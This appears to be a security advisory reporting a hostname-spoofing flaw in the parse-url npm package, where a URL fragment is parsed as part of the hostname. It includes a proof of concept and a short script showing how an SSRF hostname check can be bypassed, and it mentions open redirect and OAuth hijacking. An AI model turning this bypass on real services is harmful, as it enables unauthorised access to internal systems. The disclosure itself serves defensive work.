hostname spoofing via Improper Input Validation


# Description When to use the parse-url, If user put the `https://google.com#hashvalue` as argument, parse-url doesn't parse the hash value and parses hostname and hash together as hostname. `http://localhost/#hashvalue` and `http://localhost#hashvalue` are the same.. ```txt - new URL() of node ❯ node -e 'console.log(new URL("http://localhost#hashvalue"))' URL { href: 'http://localhost/#hashvalue', origin: 'http://localhost', protocol: 'http:', username: '', password: '', host: 'localhost', hostname: 'localhost', port: '', pathname: '/', search: '', searchParams: URLSearchParams {}, hash: '#hashvalue' } - url-parse of node ❯ node -e "const parser = require('url-parse');console.log(parser('http://localhost#hashvalue'))" { slashes: true, protocol: 'http:', hash: '#hashvalue', query: '', pathname: '/', auth: '', host: 'localhost', port: '', hostname: 'localhost', password: '', username: '', origin: 'http://localhost', href: 'http://localhost/#hashvalue' } - urllib.parse of python ❯ python3 Python 3.9.10 (main, Jan 15 2022, 11:48:04) [Clang 13.0.0 (clang-1300.0.29.3)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from urllib.parse import urlparse >>> urlparse('http://localhost#hashvalue') ParseResult(scheme='http', netloc='localhost', path='', params='', query='', fragment='hashvalue') >>> - parse_url of php ❯ php -a Interactive shell php > $arr_url=parse_url('http://localhost#hashvalue'); php > foreach($arr_url as $key=>$data){ echo "[".$key."] : ".$data."\n";} [scheme] : http [host] : localhost [fragment] : hashvalue php > ``` It should be parsed as above. That way the vulnerability doesn't occur. # Proof of Concept ```sh ❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://localhost#hashvalue"))' { protocols: [ 'http' ], protocol: 'http', port: null, resource: 'localhost#hashvalue', user: '', pathname: '', hash: '', search: '', href: 'http://localhost#hashvalue', query: [Object: null prototype] {} } ``` # Impact ```javascript const parseUrl = require("parse-url") const http = require("http") parsed = parseUrl('http://localhost#hashvalue') if (parsed.resource== 'localhost') { console.log('WAF!!!') } else { console.log('bypass!!') console.log(http.get(parsed.href)) } ``` ```txt OutPut bypass!! ClientRequest { _events: [Object: null prototype] {}, _eventsCount: 0, _maxListeners: undefined, outputData: [ { data: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n', encoding: 'latin1', callback: [Function: bound onFinish] } ], outputSize: 54, writable: true, destroyed: false, _last: true, chunkedEncoding: false, shouldKeepAlive: false, maxRequestsOnConnectionReached: false, _defaultKeepAlive: true, useChunkedEncodingByDefault: false, sendDate: false, _removedConnection: false, _removedContLen: false, _removedTE: false, _contentLength: 0, _hasBody: true, _trailer: '', finished: true, _headerSent: true, _closed: false, socket: null, _header: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n', _keepAliveTimeout: 0, _onPendingData: [Function: nop], agent: Agent { _events: [Object: null prototype] { free: [Function (anonymous)], newListener: [Function: maybeEnableKeylog] }, _eventsCount: 2, _maxListeners: undefined, defaultPort: 80, protocol: 'http:', options: [Object: null prototype] { path: null }, requests: [Object: null prototype] {}, sockets: [Object: null prototype] { 'localhost:80:': [Array] }, freeSockets: [Object: null prototype] {}, keepAliveMsecs: 1000, keepAlive: false, maxSockets: Infinity, maxFreeSockets: 256, scheduling: 'lifo', maxTotalSockets: Infinity, totalSocketCount: 1, [Symbol(kCapture)]: false }, socketPath: undefined, method: 'GET', maxHeaderSize: undefined, insecureHTTPParser: undefined, path: '/', _ended: false, res: null, aborted: false, timeoutCb: null, upgradeOrConnect: false, parser: null, maxHeadersCount: null, reusedSocket: false, host: 'localhost', protocol: 'http:', [Symbol(kCapture)]: false, [Symbol(kNeedDrain)]: false, [Symbol(corked)]: 0, [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] } } ``` When the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible.